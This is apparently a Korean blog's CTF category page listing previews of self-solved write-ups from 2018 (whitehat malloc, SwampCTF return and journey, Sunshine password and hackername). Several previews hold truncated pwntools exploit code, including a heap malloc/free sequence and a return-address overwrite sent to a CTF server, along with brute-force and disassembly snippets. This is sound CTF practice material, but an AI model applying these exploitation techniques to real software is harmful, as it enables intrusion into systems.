0x07 CTF/[스스로 푼 것](30)
-
whitehat malloc
help : bin4ry from pwn import *import sysp = process('./malloc') target = 0x400986 sys.stdout.flush()p.recvuntil('Stack Address : ')stack_addr = int(p.recvline(), 16)print stack_addr print p.recvuntil('> ')p.sendline("1") #mallocprint p.recvuntil('Enter size :')p.sendline("31")print p.recvuntil('Enter data :')p.sendline("A"*31) print p.recvuntil('> ')p.sendline('2') # freep.sendline('1') print p..
2018.04.14 -
defcon 2015 babyecho
보호되어 있는 글입니다.
2018.04.09 -
swamp return writeup
소요 시간 : 5시간 문제 의도1 read함수를 통해 50바이트를 읽어온다.2 retaddr이 &locret_8048595보다 크면 종료 3. 숨겨진 주소 : 0x08048AEA ropgadget 중 ret를 이용해야 함. payload : 버퍼를 0x26 채운 뒤 + ret 가젯 주소 + 내가 가고싶은 주소(플래그 있는 주소) 코드from pwn import * context.log_level ='debug' p = remote('chal1.swampctf.com',1802)#p = process("./return")print p.recvuntil("do: ")payload =""dummy = "A"*(0x26 + 4)_ret = p32(0x8048372)shell = p32(0x8048615)payl..
2018.04.08 -
swamp journey writeup
문제 의도 UPX Unpacking 문제 풀이 1. 17자리문자열을 입력2. moduls = 14231234143212433LL (signed __int64)가 주어짐 3. 17번 반복한다.-> 조건 1. v3값은 moduls%10값이 되기 때문에 결과적으로 v3는 계속 변한다.-> 변하는 값에 flag[i]를 뺀다-> 그 결과 theresanotherstep이 되면 된다. 코드#include #include #include unsigned char make_brute[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrsuvwxyzt" };unsigned char over[] = { "theresanotherstep" };int main(){unsigned cha..
2018.04.08 -
sunshine password writeup
문제 의도 : pyinstaller extractor에 대해 알고 있는가? 문제 풀이 : 해당 바이너리를 pyinstaller extractor로 돌리면 됨.지인인 서우에게 듣고 풀었음. 안들었으면 절대 못풀었을 듯 여담 : 함수 하나하나 다 보고 앉아있었음 passwords에 들어가면 플래그 획득
2018.04.08 -
sunshine hackername writeup
문제 유형 : buf overwrite handle_connection disassembly pwndbg> disass handle_connectionDump of assembler code for function handle_connection: 0x080486b7 :push ebp 0x080486b8 :mov ebp,esp 0x080486ba :sub esp,0x28 0x080486bd :mov DWORD PTR [ebp-0x12],0x0 0x080486c4 :mov DWORD PTR [ebp-0xe],0x0 0x080486cb :mov WORD PTR [ebp-0xa],0x0 0x080486d1 :sub esp,0xc 0x080486d4 :push 0x804880b 0x080486d9 :call 0..
2018.04.08